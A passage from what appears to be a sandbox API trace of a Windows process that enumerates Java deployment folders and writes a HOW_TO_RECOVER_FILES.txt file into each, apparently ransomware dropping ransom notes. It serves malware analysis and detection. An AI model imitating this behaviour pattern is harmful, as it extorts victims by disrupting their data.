lpOldMode=0x204ebb90) returned 1 [0186.826] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\log", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\log", lpFilePart=0x0) returned 0x38 [0186.826] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\log\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xd337c3d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb07402a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0186.826] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xd337c3d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb07402a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.827] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xd337c3d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb07402a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0186.827] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0186.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0186.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0186.827] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0186.827] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\log", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\log", lpFilePart=0x0) returned 0x38 [0186.827] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\log\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xd337c3d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb07402a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0186.827] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xd337c3d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb07402a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.827] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xd337c3d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb07402a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0186.827] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0186.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0186.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0186.828] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\log\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\log\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x51 [0186.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb00) returned 1 [0186.828] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\log\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\sun\\java\\deployment\\log\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x818 [0187.317] GetFileType (hFile=0x818) returned 0x1 [0187.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba70) returned 1 [0187.317] GetFileType (hFile=0x818) returned 0x1 [0187.318] WriteFile (in: hFile=0x818, lpBuffer=0x39f0a30*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ebbc8, lpOverlapped=0x0 | out: lpBuffer=0x39f0a30*, lpNumberOfBytesWritten=0x204ebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0187.319] CloseHandle (hObject=0x818) returned 1 [0187.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0187.319] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security", lpFilePart=0x0) returned 0x3d [0187.319] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07d8c0f, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb07d8c0f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb07d8c0f, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0187.320] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07d8c0f, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb07d8c0f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb07d8c0f, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0187.320] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07d8c0f, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb07d8c0f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb07d8c0f, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0187.320] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0187.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0187.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0187.320] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0187.320] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security", lpFilePart=0x0) returned 0x3d [0187.320] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07d8c0f, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb07d8c0f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb07d8c0f, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0187.321] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07d8c0f, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb07d8c0f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb07d8c0f, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0187.321] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07d8c0f, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb07d8c0f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb07d8c0f, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0187.321] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0187.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0187.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0187.321] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x56 [0187.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb00) returned 1 [0187.321] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\sun\\java\\deployment\\security\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x818 [0187.322] GetFileType (hFile=0x818) returned 0x1 [0187.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba70) returned 1 [0187.322] GetFileType (hFile=0x818) returned 0x1 [0187.323] WriteFile (in: hFile=0x818, lpBuffer=0x3a01c78*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ebbc8, lpOverlapped=0x0 | out: lpBuffer=0x3a01c78*, lpNumberOfBytesWritten=0x204ebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0187.324] CloseHandle (hObject=0x818) returned 1 [0187.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0187.324] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp", lpFilePart=0x0) returned 0x38 [0187.325] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x720729ee, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x720729ee, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x720729ee, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0187.325] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x720729ee, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x720729ee, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x720729ee, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0187.325] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x720729ee, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x720729ee, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x720729ee, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="si", cAlternateFileName="")) returned 1 [0187.325] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x720729ee, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x720729ee, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x720729ee, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="si", cAlternateFileName="")) returned 0 [0187.325] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0187.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0187.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0187.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0187.326] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp", lpFilePart=0x0) returned 0x38 [0187.326] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x720729ee, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x720729ee, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x720729ee, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0187.326] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x720729ee, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x720729ee, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x720729ee, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0187.326] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x720729ee, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x720729ee, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x720729ee, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="si", cAlternateFileName="")) returned 1 [0187.326] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0187.326] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0187.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0187.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0187.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb160) returned 1 [0187.327] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si", nBufferLength=0x105, lpBuffer=0x204eac00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si", lpFilePart=0x0) returned 0x3b [0187.327] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\*", lpFindFileData=0x204eae80 | out: lpFindFileData=0x204eae80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x720729ee, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x720729ee, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x7adf09ae, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0187.328] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x720729ee, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x720729ee, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x7adf09ae, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0187.328] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x720729ee, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x720729ee, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x7adf09ae, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0187.328] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0187.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb0a0) returned 1 [0187.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb060) returned 1 [0187.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb160) returned 1 [0187.328] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si", nBufferLength=0x105, lpBuffer=0x204eac00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si", lpFilePart=0x0) returned 0x3b [0187.329] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\*", lpFindFileData=0x204eae80 | out: lpFindFileData=0x204eae80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x720729ee, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x720729ee, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x7adf09ae, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0187.329] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x720729ee, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x720729ee, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x7adf09ae, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0187.329] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x720729ee, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x720729ee, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x7adf09ae, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0187.329] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0187.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb0a0) returned 1 [0187.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb060) returned 1 [0187.329] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eabb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x54 [0187.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb0d0) returned 1 [0187.329] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\sun\\java\\deployment\\tmp\\si\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x818 [0187.330] GetFileType (hFile=0x818) returned 0x1 [0187.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb040) returned 1 [0187.330] GetFileType (hFile=0x818) returned 0x1 [0187.331] WriteFile (in: hFile=0x818, lpBuffer=0x3a20cf8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204eb198, lpOverlapped=0x0 | out: lpBuffer=0x3a20cf8*, lpNumberOfBytesWritten=0x204eb198*=0x5d0, lpOverlapped=0x0) returned 1 [0187.331] CloseHandle (hObject=0x818) returned 1 [0187.332] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x51 [0187.332] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb00) returned 1 [0187.332] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\sun\\java\\deployment\\tmp\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x818 [0187.333] GetFileType (hFile=0x818) returned 0x1 [0187.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba70) returned 1 [0187.333] GetFileType (hFile=0x818) returned 0x1 [0187.334] WriteFile (in: hFile=0x818, lpBuffer=0x3a24590*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ebbc8, lpOverlapped=0x0 | out: lpBuffer=0x3a24590*, lpNumberOfBytesWritten=0x204ebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0187.335] CloseHandle (hObject=0x818) returned 1 [0187.338] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ec010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4d [0187.338] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec530) returned 1 [0187.339] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\sun\\java\\deployment\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 